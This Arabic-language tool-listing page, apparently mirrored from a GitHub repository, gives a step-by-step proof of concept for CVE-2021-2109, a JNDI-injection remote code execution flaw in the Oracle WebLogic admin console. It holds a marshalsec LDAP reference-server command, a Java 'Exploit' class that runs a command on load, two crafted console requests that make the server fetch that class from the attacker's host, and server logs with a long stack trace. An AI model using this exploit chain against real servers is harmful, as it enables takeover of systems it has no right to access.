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CVE-2021-2109 — CVE-2021-2109 && Weblogic Server RCE عبر JNDI | Kitploit
أدوات/GitHubGitHub/al1ex/cve-2021-2109
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubal1ex/cve-2021-2109

CVE-2021-2109

CVE-2021-2109 && Weblogic Server RCE عبر JNDI

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3110منذ 5 سنواتتمت المراجعة من قبل Kitploit

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مشاركة

الوصف

ثغرة أمنية في منتج Oracle WebLogic Server من Oracle Fusion Middleware (المكوّن: Console). الإصدارات المدعومة المتأثرة هي 10.3.6.0.0، 12.1.3.0.0، 12.2.1.3.0، 12.2.1.4.0 و 14.1.1.0.0. الثغرة قابلة للاستغلال بسهولة وتسمح لمهاجم يتمتع بصلاحيات عالية ولديه وصول إلى الشبكة عبر HTTP باختراق Oracle WebLogic Server. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى السيطرة على Oracle WebLogic Server. درجة أساسية CVSS 3.1 مقدارها 7.2 (تأثيرات على السرية والسلامة والتوفر). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

الشروط

مطلوب تسجيل الدخول للمصادقة

كيفية تنفيذ الأوامر عن بُعد (RCE)

الخطوة 1: إعداد Weblogic

إعداد

الخطوة 2: تسجيل الدخول

تسجيل الدخول

تسجيل الدخول 2

الخطوة 3: إعداد خادم JNDI
root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088

jndi

الخطوة 4: ترجمة Exploit.java
root@kitploit:~
javac Exploit.java
root@kitploit:~
import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

تنفيذ

الخطوة 5: إعداد خادم HTTP بسيط

خادم HTTP

الخطوة 6: تنفيذ الحمولة
root@kitploit:~
http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex

حمولة

نتيجة

سجلات LDAP وخادم HTTP:

سجلات

POC آخر
root@kitploit:~
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close

النتيجة في BurpSuite:

نتيجة

النتيجة في خادم Weblogic:

weblogic

سجلات LDAP وخادم HTTP (عنصر السجل الأول ينتمي إلى poc1):

سجلات 2

معلومات الحصة：
root@kitploit:~
####<2021-1-22 下午12时48分01,552秒 CST> <Warning> <netuix> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006d> <1611290881552> <[severity-value: 16] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-423420> <开始操作或刷新操作时执行重定向。重定向 url 为 /console/consolejndi.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage。> 
####<2021-1-22 下午12时48分42,691秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611290922691> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads> 
####<2021-1-22 下午12时49分37,248秒 CST> <Error> <Console> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006e> <1611290977248> <[severity-value: 8] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-240003> <Administration Console encountered the following error: javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.bea.console.actions.jndi.JNDIBindingAction.execute(JNDIBindingAction.java:83)
	at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java:2044)
	at org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors.wrapAction(ActionInterceptors.java:91)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116)
	at com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275)
	at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processInternal(PageFlowRequestProcessor.java:556)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853)
	at org.apache.beehive.netui.pageflow.AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631)
	at org.apache.beehive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java:158)
	at com.bea.console.internal.ConsoleActionServlet.process(ConsoleActionServlet.java:266)
	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:416)
	at com.bea.console.internal.ConsoleActionServlet.doGet(ConsoleActionServlet.java:135)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1199)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1129)
	at com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate.strutsLookupInternal(PageFlowUtilsBeehiveDelegate.java:43)
	at com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils.strutsLookup(PageFlowUtils.java:108)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.executeAction(ScopedContentCommonSupport.java:707)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.renderInternal(ScopedContentCommonSupport.java:265)
	at com.bea.portlet.adapter.scopedcontent.StrutsStubImpl.render(StrutsStubImpl.java:105)
	at com.bea.netuix.servlets.controls.content.NetuiContent.preRender(NetuiContent.java:292)
	at com.bea.netuix.nf.ControlLifecycle$6.visit(ControlLifecycle.java:428)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:727)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walk(ControlTreeWalker.java:146)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:399)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:361)
	at com.bea.netuix.nf.Lifecycle.runOutbound(Lifecycle.java:208)
	at com.bea.netuix.nf.Lifecycle.run(Lifecycle.java:162)
	at com.bea.netuix.servlets.manager.UIServlet.runLifecycle(UIServlet.java:465)
	at com.bea.netuix.servlets.manager.UIServlet.doPost(UIServlet.java:291)
	at com.bea.netuix.servlets.manager.UIServlet.doGet(UIServlet.java:231)
	at com.bea.netuix.servlets.manager.UIServlet.service(UIServlet.java:216)
	at com.bea.netuix.servlets.manager.SingleFileServlet.service(SingleFileServlet.java:275)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at com.bea.console.utils.MBeanUtilsInitSingleFileServlet.service(MBeanUtilsInitSingleFileServlet.java:64)
	at weblogic.servlet.AsyncInitServlet.service(AsyncInitServlet.java:125)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at com.bea.console.internal.ParamFilter.doFilter(ParamFilter.java:38)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.RequestEventsFilter.doFilter(RequestEventsFilter.java:32)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 94 more
> 
####<2021-1-22 下午12时50分42,783秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611291042783> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads>

المراجع

https://www.oracle.com/security-alerts/cpujan2021.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109

تنزيل الأداة